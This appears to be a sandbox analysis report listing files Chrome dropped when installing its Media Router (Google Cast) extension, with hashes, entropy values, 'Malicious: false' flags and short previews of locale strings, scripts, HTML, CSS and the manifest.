SHA-512:	3FB6E32D26EEAADB94D594A5B61930B003B4DA09C282A2ABF063A4502AA725FB88E4801F8A2443CD46137BEDAE5DFD2359DCA3506EE416713D08DF6430065725
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "........".. },.. "1213957982723875920": {.. "message": "..... .......... ... .. ........... ....... ........ ............?".. },.. "128276876460319075": {.. "message": "..... ..... ....".. },.. "1428448869078126731": {.. "message": "...... ...... ......".. },.. "1522140683318860351": {.. "message": "........ .......... ...... ..... ..............".. },.. "1550904064710828958": {.. "message": ".......".. },.. "1636686747687494376": {.. "message": "......... ....".. },.. "1802762746589457177": {.. "message": "........".. },.. "185039750031202038

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\th\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	18849
Entropy (8bit):	5.3815746250038305
Encrypted:	false
SSDEEP:	384:GhjwMfr4c/ey18Ym7ZepIfa1hea0KEr2ucpYxcixh8V6uml:GhjwMfccGy18Ym7ZiIfa1hea0KEKucp2
MD5:	9F926FCB8BAEA23453B99EA162CCDEA1
SHA1:	04D1E45591C0435A39DCA00A81E83E68585E8B64
SHA-256:	100463C587F549C964A4EB21EA38EA1B4ADEF11E927FAC8FF884623B77202C02
SHA-512:	F226278DDF2D1995961690895361AB7B5D221C5E36D7767BBA71F36716C27B28210F85DC7DB4D2FC61B048FE2D058EE76EFBF2AD2A9714375149C4D09E18BE2B
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "....".. },.. "1213957982723875920": {.. "message": ".............................................".. },.. "128276876460319075": {.. "message": "...............".. },.. "1428448869078126731": {.. "message": "....................".. },.. "1522140683318860351": {.. "message": "................... ...............".. },.. "1550904064710828958": {.. "message": ".......".. },.. "1636686747687494376": {.. "message": "..........".. },.. "1802762746589457177": {.. "message": "..........".. },.. "1850397500312020388": {.. "message": ".......... Chromecast ..... $

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\tr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	15542
Entropy (8bit):	5.336342457334077
Encrypted:	false
SSDEEP:	192:OGNSbprOWklwIc3uk+zwr5a+qF6LtP2nFjYqcV6c8TEKdl:wrfNV9r5avYqcV6uml
MD5:	B0420F071E7C6C2DE11715A0BF026C63
SHA1:	F41CC696786B18805DB8DC9E1E476146C0D6BE90
SHA-256:	309F946F753DF6AF5C255D772EA0D429462152F78ABA4A96A2E369707A2C6B67
SHA-512:	67B42FC962AB70FFF86777E5057047EF4CFFDA4BED040F9D45BB5DB0275C3B5F21B17924AE5C51C71E8B078AB88AE3001C70CDB4E1994D4C8A20DEFC3A1D34FA
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "Donuyor".. },.. "1213957982723875920": {.. "message": "A..n.z. a.a..dakilerden hangisi en iyi .ekilde tan.mlar?".. },.. "128276876460319075": {.. "message": "Cihaz Bulma".. },.. "1428448869078126731": {.. "message": "Videonun D.zg.n Oynat.lmas.".. },.. "1522140683318860351": {.. "message": "Ba.lant. ba.ar.s.z oldu. L.tfen tekrar deneyin.".. },.. "1550904064710828958": {.. "message": "D.zg.n".. },.. "1636686747687494376": {.. "message": "M.kemmel".. },.. "1802762746589457177": {.. "message": "Ses d.zeyi".. },.. "1850397500312020388": {.. "message": "Chromecast'inizi $START_LINK$Google Home uygulamas.nda$END_LINK$ g.rebiliyor musunuz? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\uk\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	17539
Entropy (8bit):	5.492873573147444
Encrypted:	false
SSDEEP:	384:vDBprzaoaqEv390hrTr6hlRU62cdV6uml:/BaFNe76GYX6uml
MD5:	FF06E78C06E8DFF4A422EA24F0AB3760
SHA1:	A434D1CE22DE0D2FD1842E94F5815F7B1972D1EE
SHA-256:	E209FDEF12CCEC03B4E0D5B9464F90D527E62C5BC4DD565C680661D7F282AB02
SHA-512:	8EADCC918F51A946A68AAF4D9DD7F3894BE470FD0A0550E4160D609F30C78BD55508B3DF4D62A28C0813D83C5C10F9A7BFE656A4CF519E4CC814FFB07F1E9F3B
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": ".......".. },.. "1213957982723875920": {.. "message": ".. . ............ ..... ........ ...... .... ......?".. },.. "128276876460319075": {.. "message": "......... ........".. },.. "1428448869078126731": {.. "message": "......... ........... .....".. },.. "1522140683318860351": {.. "message": ".. ....... ............. ......... ........".. },.. "1550904064710828958": {.. "message": "...... ...........".. },.. "1636686747687494376": {.. "message": "......".. },.. "1802762746589457177": {.. "message": "........".. },.. "1850397500312020388": {.. "message": ".. ...... .. .... ........ Chromecast . $START_LINK$....... Google Home$END_LINK$? $START_SPAN$*$END_SPAN$",.. "placeho

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\vi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	16001
Entropy (8bit):	5.46630477806648
Encrypted:	false
SSDEEP:	192:8xyKyprnBTF0cEW5xk0rdBrQBiaiNiw+3KrV6c8TEKdl:8ULrB5yW5C0rHrOiZ5gKrV6uml
MD5:	C3A40E8433D96D7E766C011D9EC7502B
SHA1:	EAB7BFAE48B1D29B95A8AE040DE94D3500824EE3
SHA-256:	BD3D0F8CF100C96415B224011F550082D4516593CBD3631347748B7D6AD5B85A
SHA-512:	ADAD26422DCA2728BB77760C508C37888013EA4E3B980D9133FE12737B02589ACD302B4096B2BF1B772A28A2103B2E1F7210F4900468B4590B84C7BBC950F1C1
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "D.ng h.nh".. },.. "1213957982723875920": {.. "message": "Tr..ng h.p n.o sau ..y m. t. ..ng nh.t m.ng c.a b.n?".. },.. "128276876460319075": {.. "message": "Kh.m ph. thi.t b.".. },.. "1428448869078126731": {.. "message": ".. m..t c.a video".. },.. "1522140683318860351": {.. "message": "K.t n.i kh.ng th.nh c.ng. Vui l.ng th. l.i.".. },.. "1550904064710828958": {.. "message": "M..t m.".. },.. "1636686747687494376": {.. "message": "Ho.n h.o".. },.. "1802762746589457177": {.. "message": ".m l..ng".. },.. "1850397500312020388": {.. "message": "B.n c. th. nh.n th.y Chromecast c.a m.nh trong $START_LINK$.ng d.ng Google Home$END_LINK$ kh.ng? $START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "conte

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\zh\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	14773
Entropy (8bit):	5.670562029027517
Encrypted:	false
SSDEEP:	192:hppr6VVD8/LkiQKrTV2U00jT25kNV6c8TEKdl:hr88/YOrTjF2GV6uml
MD5:	D4513639FFC58664556B4607BF8A3F19
SHA1:	65629BC4CBBACA498F4082DD5884C8D3D7DDDC8A
SHA-256:	C6D49997A9B4FF7FE701EC3644B1A523679A27778FB4BD39B7DBCA9F1ACCE595
SHA-512:	16260FAC30D57EBFD577833F45D52FEA446ABE877D0D4015EF47C5C9072B81DDA71ED4E5E7DAFDEBE82B26556A4477EA4BFCDEC227058E381B9812DAB1F4379B
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "..".. },.. "1213957982723875920": {.. "message": "..................".. },.. "128276876460319075": {.. "message": "....".. },.. "1428448869078126731": {.. "message": ".....".. },.. "1522140683318860351": {.. "message": ".........".. },.. "1550904064710828958": {.. "message": "..".. },.. "1636686747687494376": {.. "message": "..".. },.. "1802762746589457177": {.. "message": "..".. },.. "1850397500312020388": {.. "message": "... $START_LINK$Google Home ..$END_LINK$...... Chromecast ..$START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },.. "START_SPAN": {.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_locales\zh_TW\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	14981
Entropy (8bit):	5.7019494203747865
Encrypted:	false
SSDEEP:	192:d2XprmNaHYkOkAFzrlR/jTcGIEaXV6c8TEKdl:WrT4uozrl/sXV6uml
MD5:	494CE2ACB21A426E051C146E600E7564
SHA1:	D045ECC2A69C963D5D34A148FE4A7939DE6A1322
SHA-256:	A1053F9496ED7FA3C625C94347F07A5E760F514FD8EE142EC9EE64E86B9C063D
SHA-512:	DE2C8498B55749B4D35CF2627E55271F7F09E4560FA16D7094EFB4085CF1E5FAE36F067AAC01AE120548C00DC8AA530EE96079B5CC3E322DF9FF8592799AEB3F
Malicious:	false
Reputation:	low
Preview:	{.. "1018984561488520517": {.. "message": "....".. },.. "1213957982723875920": {.. "message": "................".. },.. "128276876460319075": {.. "message": "....".. },.. "1428448869078126731": {.. "message": ".....".. },.. "1522140683318860351": {.. "message": "...........".. },.. "1550904064710828958": {.. "message": "..".. },.. "1636686747687494376": {.. "message": "..".. },.. "1802762746589457177": {.. "message": "..".. },.. "1850397500312020388": {.. "message": ".... $START_LINK$Google Home ....$END_LINK$...... Chromecast ..$START_SPAN$*$END_SPAN$",.. "placeholders": {.. "END_LINK": {.. "content": "$1".. },.. "END_SPAN": {.. "content": "$2".. },.. "START_LINK": {.. "content": "$3".. },.. "

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\_metadata\verified_contents.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8873
Entropy (8bit):	5.791657841286989
Encrypted:	false
SSDEEP:	192:RbhF22gSNenY4QTm7B9rh/xJvrlib6L5Q6wltsYa:LM9xlv
MD5:	934A5882214683DEDF130E1C7E513AFD
SHA1:	4CB84A956148E8F3739681546850996741FDF421
SHA-256:	D87B0B61750D36CEE2647B59213BAAC8B046C9A929C396CAF36F61AF95939F63
SHA-512:	C207CED74351BE35DFFD9B1CB991D18B92DEE7093371374FE725C31F541BD680CF04871543D078103D7951E7F3998EBE5F6A91A45A11562055F5E4BD37FC4AF4
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJfbG9jYWxlcy9hbS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiZmxYTGNaVTNJSWstTnZiaDlMb0FDQl9lUDc0ODMtUmlkNXliYnQxczBRMCJ9LHsicGF0aCI6Il9sb2NhbGVzL2FyL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJ0REo1Y2kwbU53eG5CNmRjQ3Z6cDZRbjZqaGU0cjk5VTRfMmJYVTZsbXZBIn0seyJwYXRoIjoiX2xvY2FsZXMvYmcvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6Ik5FVEw0bjRHWTdGTUVyQnNWVFVpTDFoTERfdGVBRVJOSkVhZk5HT1FUZ0EifSx7InBhdGgiOiJfbG9jYWxlcy9ibi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiWWtEUkRMZktna3h5QXFpNS1YNjN3VWlDYU9DaTJ3ZDg5cHp4dnBmMlR5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2NhL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiI0OVozYVVUekJxejA3RFFtV2NDMUdGZy1YdW43OXJZOGNJMXRVU1VoNVRNIn0seyJwYXRoIjoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6InhaWk1DMlNaT2ZiUl91bHRRWXNtWEdWUGZBaEJfVjNIdHVSeGlQMlhwR0kifSx7InBhdGgiOiJfbG9jYWxlcy9kYS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiWlBQdnFIMVBHaFIxZkh6Qzd

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\angular.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	607402
Entropy (8bit):	5.38463772575273
Encrypted:	false
SSDEEP:	12288:pA7XbYzz3zA/hJNpwsswmlJp49tkhSZWZhPsFv:q7XbYzD8/hJNhshlJp49tkhSZWZhP6
MD5:	FCE26058E60BD1CF870623C640481A4F
SHA1:	F95B53ABA83D9F2B1206D79020887D8EF019B737
SHA-256:	A9B552276ED7342DC92C240F98C68433E7C711436E285A88E0DE9520F3640925
SHA-512:	51BD481CA8D3A5E21C70A26B69805C62780AFD10476C53FF013D811A6EBA618217D164A03B2C1E5CAC8EFA7E88899C8E14BD53FE452932A13FE8C6E010B9A186
Malicious:	false
Reputation:	low
Preview:	//third_party/javascript/angular/v1_6/angular.min.js./. AngularJS v1.6.4-local+sha.617b36117. (c) 2010-2018 Google, Inc. http://angularjs.org. License: MIT./.'use strict';(function(D){'use strict';function te(a){if(G(a))v(a.objectMaxDepth)&&(Uc.objectMaxDepth=ac(a.objectMaxDepth)?a.objectMaxDepth:NaN);else return Uc}function ac(a){return ca(a)&&0<a}function K(a){return function(){var b=arguments[0];var d="["+(a?a+":":"")+b+"] http://errors.angularjs.org/1.6.4-local+sha.617b36117/"+(a?a+"/":"")+b;for(b=1;b<arguments.length;b++){d=d+(1==b?"?":"&")+"p"+(b-1)+"=";var c=encodeURIComponent;var e=arguments[b];e="function"==typeof e?e.toString().replace(/ \{[\s\S]*$/,""):."undefined"==typeof e?"undefined":"string"!=typeof e?JSON.stringify(e):e;d+=c(e)}return Error(d)}}function pa(a){if(null==a\|\|cb(a))return!1;if(J(a)\|\|I(a)\|\|x&&a instanceof x)return!0;var b="length"in Object(a)&&a.length;return ca(b)&&(0<=b&&(b-1 in a\|\|a instanceof Array)\|\|"function"===typeof a.item)}function p(a,b,d){var c;i

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\background_script.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	2088
Entropy (8bit):	5.176623390098955
Encrypted:	false
SSDEEP:	48:g8MBPC3U7en+enInMtQgQ+AlRRZGz+GhI9OuYMZ8vNI:g84Cme+eokD9G+GOkiO
MD5:	47D5838CF5DB13E4E7EF71EC5FC940A1
SHA1:	6AAE6A72DADCD30F0C8D3095E90468996B59ABB7
SHA-256:	E0F0E47CDFE7C7D6E6BB63A789D7C20B05AB8B3F6ADFDF07D08793437F2CCD42
SHA-512:	82515B9B3F154C3B3EA18C62137F07DF8933421C096989ABD0CC4F5A4B3AA06411EE097FAC38475ECB386A6094F99EA9D08CE31D409A41E2757733C4FC86B407
Malicious:	false
Reputation:	low
Preview:	'use strict';$a("mr.TestProvider");var ay,wx,by=$a("mr.Init"),cy=function(a){void 0!==a.use_views_dialog&&by.info("Using the "+(a.use_views_dialog?"Views (Harmony)":"WebUI")+" dialog.");void 0!==a.enable_cast_sink_query&&by.info("Native Cast MRP is "+(a.enable_cast_sink_query?"disabled":"enabled")+".");void 0!==a.use_mirroring_service&&by.info("Native Mirroring Service is "+(a.use_mirroring_service?"enabled":"disabled")+".")};Dr().init();ay=new ob("MediaRouter.Provider.WakeDuration");wx=new Mx;.var dy=(new Promise(function(a,b){switch(window.location.host){case "enhhojjnijigcajfphajepfemndkmdlo":a();break;case "pkedcjkdefgpdelpbcmbmeomcjbeemfm":chrome.management.get("enhhojjnijigcajfphajepfemndkmdlo",function(c){chrome.runtime.lastError\|\|!c.enabled?a():b(Error("Dev extension is enabled"))});break;default:b(Error("Unknown extension id"))}})).then(function(){return chrome.mojoPrivate&&chrome.mojoPrivate.requireAsync?new Promise(function(a){chrome.mojoPrivate.requireAsync("media_router_bi

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\cast_sender.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	50197
Entropy (8bit):	5.271512845100311
Encrypted:	false
SSDEEP:	1536:SYrnK3OaLzBjUl3YUDNEHruOQVjUR7BELYHppUTnFUbQwTv+4A/SwLGR7gPBJsmL:SYrnKeEzBjUl3YUDNEHruOQVjUR7BELr
MD5:	BBEA05A7844E45C1CF7B7479506DBB0F
SHA1:	4E421EE2CE22E9E10D7CD9BBC0F9FD38C71716FA
SHA-256:	BB77A95786B01BD9D9A0F96B6AEA759E4B4C7CF9275E6B11C819D3BEA867CD8B
SHA-512:	B5F5AF810545F7EB790A1F63B09C093752585401D60DAAF6545BADD444968D47F46263BA6639531C13B1D6182D4CA0CD0718DC3E399DA620C4FE78262A5135F7
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.'use strict';var f,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba=function(a){var b="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return b?b.call(a):{next:aa(a)}},ca="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},k;.if("function"==typeof Object.setPrototypeOf)k=Object.setPrototypeOf;else{var m;a:{var da={Ub:!0},ea={};try{ea.__proto__=da;m=ea.Ub;break a}catch(a){}m=!1}k=m?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}.var fa=k,n=function(a,b){a.prototype=ca(b.prototype);a.prototype.constructor=a;if(fa)fa(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c]},p=this\|\|self,ha=function(){},q=function(a){var

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\common.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	38099
Entropy (8bit):	5.424217989145786
Encrypted:	false
SSDEEP:	768:xhQXYr24Z15Ey17Pbgw2N8AsdVyjj4DS/U9DSbjvN:xhQXYrzX17PbD2MdV9DLM5
MD5:	B6B210313827B63A322E102627320835
SHA1:	03D4A5DDF7E68F51B73E5C5C1D852D5F50611B8D
SHA-256:	35AD6DB342342660ECE38A8967145228E1458ADDDE750ED4F1DDE6A17F351A15
SHA-512:	5C8C3B5895B541DE6484CC8BFB20E55C2548DBB222B5294C849F3165D139F9F958825384C18C7A8C1836E413CCA1D0C6E9B843254DC1FAA78CBAB50E0BCA712F
Malicious:	false
Reputation:	low
Preview:	/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.'use strict';var k,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),ea=function(a,b){if(b){var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c\|\|(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.ea("Symbol",function(a){if(a)return a;var b=function(e,f){this.g=e;ba(this,"description",{configurable:!0,writable:!0,value:f})};b.prototype.toString=function(){

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\feedback.css Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3116
Entropy (8bit):	5.0201551881561635
Encrypted:	false
SSDEEP:	48:31YB10fXdq14jTAu0mgs0gwa8J8LZmY1181Y5OGib210bGjKL1rT1hJ14DKtKUHo:nfX8udgaw7mL55cSuoKtHHxOA/x0n
MD5:	D8EE20737329319BFA1ACBB0E6C219A6
SHA1:	D24118D81990E1316CA809669ECB603724C6E7E2
SHA-256:	A582FC20DBCAD1918000B690EB8F237EC14E5B836FD7F799C35702D88DBE6862
SHA-512:	7633682BF161EB1EDE7D62AA9C5E65A727C030DBAA483FEC4F5948C5A5849EFA342A52260097358BF4EF02F07D0464C3356152ABBE4A5C534580960D80594AC9
Malicious:	false
Reputation:	low
Preview:	:root {. --paper-blue-500: rgb(33, 150, 243);. --paper-blue-500-dark: rgba(33, 150, 243, 0.87);. --paper-blue-500-light: rgba(33, 150, 243, 0.26);.};..body {. font-size: 12px;. height: inherit;.}..#description,.#required-legend {. margin-top: 22px;.}..#description,.#form-buttons,.#required-legend,.#title {. padding: 0 17px;.}...informative {. font-size: 13px;. line-height: 13px;.}..#feedback-confirmation {. width: initial;.}..#feedback-fine-log-warning {. color: rgb(219, 68, 55);. margin: 10px 0;.}..#feedback-type-toggle,..question {. padding: 16px 17px;.}..#form {. -webkit-padding-end: 24px;. -webkit-padding-start: 24px;. background-color: white;. color: rgba(0, 0, 0, 0.87);. box-shadow: 0 1px 4px 0 rgba(0, 0, 0, 0.37);. margin: -100px auto 48px auto;. padding: 34px 17px;. width: 720px;. z-index: 1;.}..#form-buttons {. flex-direction: row;. display: flex;. justify-content: flex-end;. margin-top: 34px;.}..#header {. margin-bottom: 22px;.}..#header-banner {.

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\feedback.html Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	15606
Entropy (8bit):	4.340710080778977
Encrypted:	false
SSDEEP:	96:WGEiiDKFK5N+bVfifi5sdUemfOHT5MGTGhCBo5NmsAOZ0RsAOZYu24kJkcdFXOrO:WGESFKrsitdfGO6nrom6mcCswz4TLn
MD5:	0EFADA4B2A95CC2D4AE00F794759D763
SHA1:	FEC3BB7837BE805955601F8C211DC5BE1F16535D
SHA-256:	8CB99506A2ED9BCC6E1A66E0F218524C91304B3EBFCA113D0FECBB3D80078D0D
SHA-512:	7ADF9EA446F06C5BFB203CAE8E0CB97E230E7230D9EC7BEAB8B7F76AC8E9B9CF0FC7395C87D90836D7FDCA57E8F80FD9E0091807B3F902A37F67C69144E49616
Malicious:	false
Reputation:	low
Preview:	<!DOCTYPE html>.<html ng-app="feedbackApp" ng-controller="FeedbackCtrl". ng-csp xmlns="http://www.w3.org/1999/xhtml" lang="top.language">.<head>. <title>. Chrome Media Router feedback. </title>. <link rel="stylesheet" type="text/css" href="feedback.css">. <link rel="stylesheet" type="text/css" href="material_css_min.css">. <script src="angular.js"></script>. <script type="text/javascript" src="common.js"></script>. <script type="text/javascript" src="feedback_script.js"></script>.</head>.<body>. <div id="header-banner"></div>. <div>. <div id="form">. <div id="header">. <div id="title">. <angular-message key="MEDIA_ROUTER_FEEDBACK_HEADER". desc="Header of the Media Router feedback page.">. Tell us what's happening with Google Cast.. </angular-message>. </div>. <div id="description" class="informative">. <angular-message key="MEDIA_ROUTER_FEEDBACK_FORM_DESCRIPTION". desc="Text to d

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\feedback_script.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	24452
Entropy (8bit):	5.747175355035489
Encrypted:	false
SSDEEP:	384:sJN1cE3zd5m39N/MlzxZibygiLKM9ojX/ySoO4AM5AnshEwR0ChiR5xCzYlBbfTj:sJN1cE3zd5m39N/MlzxZibygiLKM9oj1
MD5:	26F3B1FE17AD7EA58FEB76414A2A9F61
SHA1:	00460DF77358708E951BCD745B388B49D81B7D30
SHA-256:	56686B8D4F0A467D52EA03F503B6F8387742E9F8F3A90AD75C11BC9E3FF243D7
SHA-512:	ED0A78A934AE02B4606919F04B31F7D78E44E4F654DC20107BD214C2B8614A91E47E6ACFCD504EAC95AE3A06238BB04C2417B71075A9D5192E1CF96E3FC6EB5C
Malicious:	false
Reputation:	low
Preview:	'use strict';/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var sg=function(a,b,c){a.timeOfStartCall=(new Date).getTime();var d=c\|\|w,e=d.document,f=a.nonce\|\|Fa(d);f&&!a.nonce&&(a.nonce=f);if("help"==a.flow){var g=Ha("document.location.href",d);!a.helpCenterContext&&g&&(a.helpCenterContext=g.substring(0,1200));g=!0;if(b&&JSON&&JSON.stringify){var h=JSON.stringify(b);(g=1200>=h.length)&&(a.psdJson=h)}g\|\|(b={invalidPsd:!0})}b=[a,b,c];d.GOOGLE_FEEDBACK_START_ARGUMENTS=b;c=a.serverUri\|\|"//www.google.com/tools/feedback";if(g=d.GOOGLE_FEEDBACK_START)g.apply(d,b);.else{d=c+"/load.js?";for(var m in a)b=a[m],null==b\|\|Na(b)\|\|(d+=encodeURIComponent(m)+"="+encodeURIComponent(b)+"&");a=qg(fg(e),"SCRIPT");f&&a.setAttribute("nonce",f);f=hd(d);te(a,f);e.body.appendChild(a)}};y("userfeedback.api.startFeedback",sg);var tg=function(){this.j=this.h=this.u=this.modelName=this.l=this.g=this.Ac="";this.o=this.m=this.C=!1};var ug=chrome.i18n.getMessage("4163185390680253103"

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\manifest.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	2284
Entropy (8bit):	5.29272048694412
Encrypted:	false
SSDEEP:	48:QWaLGou01ghZ7CsbCypwQdmv7pee3hZq/1C/ao1XJN8U3:DaLrgCWrdmTplZNx
MD5:	F76238944C3D189174DD74989CF1C0C6
SHA1:	85CE141EC8867B699668A5F5A48F404C84FCEB04
SHA-256:	2EF48A1CF322DE356E8844DD2FD3431E8E7ACD04770649B6507EACA5ABDB53A7
SHA-512:	330EC2ADC42A8AE653051694954795664EEECDB1A0E0F7A6BC03349C4FD1568BCC81FF2C4A6D826B07BEA7BED26CC27157A1BFAE4B6FC34B3E121DCE0A5CB26D
Malicious:	false
Reputation:	low
Preview:	{.. "background": {.. "persistent": false,.. "scripts": [ "common.js", "mirroring_common.js", "background_script.js" ].. },.. "content_security_policy": "default-src 'self'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; script-src 'self' https://apis.google.com https://feedback.googleusercontent.com https://www.google.com https://www.gstatic.com; child-src https://accounts.google.com https://content.googleapis.com https://www.google.com; connect-src 'self' http://: https://:; font-src https://fonts.gstatic.com; object-src 'self';",.. "default_locale": "en",.. "description": "Provider for discovery and services for mirroring of Chrome Media Router",.. "externally_connectable": {.. "ids": [ "idmofbkcelhplfjnmmdolenpigiiiecc", "ggedfkijiiammpnbdadhllnehapomdge", "njjegkblellcjnakomndbaloifhcoccg" ].. },.. "key": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNTWJoPZ9bT32yKxuuVa9LSEYobjPoXCLX3dgsZ9djDrWKNikTECjdRe3/AFXb+v8jkmmtYQPnOgSYn06J/QodDl

C:\Users\user\AppData\Local\Temp\scoped_dir4724_261516121\CRX_INSTALL\material_css_min.css Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	322554
Entropy (8bit):	5.071302554556422
Encrypted:	false
SSDEEP:	6144:5UhKq5pbUqJHPPXLdi6cv+lWUgkgRyrG24CszGR+QAQ4Vy3OSYec3eNk3ksSn+8o:52TFa
MD5:	76EAA4368ED0E83F45B725727414D0E2
SHA1:	CB3ABE758DD77E0AC48F9C9D23DB386E9E52E42E
SHA-256:	3F94B4F2DDAE805F4863FE751B138CB77B24893E3EDE6822E72F0EE4624CD155
SHA-512:	8835E1B06718C86D8AB690E700AAF61E47B8E3F6E64D943EC7D95CDB293499F47D5CE408440E0D636A62D580781D256C204CC3E10735D27E49B53A236A6A19B8
Malicious:	false
Reputation:	low
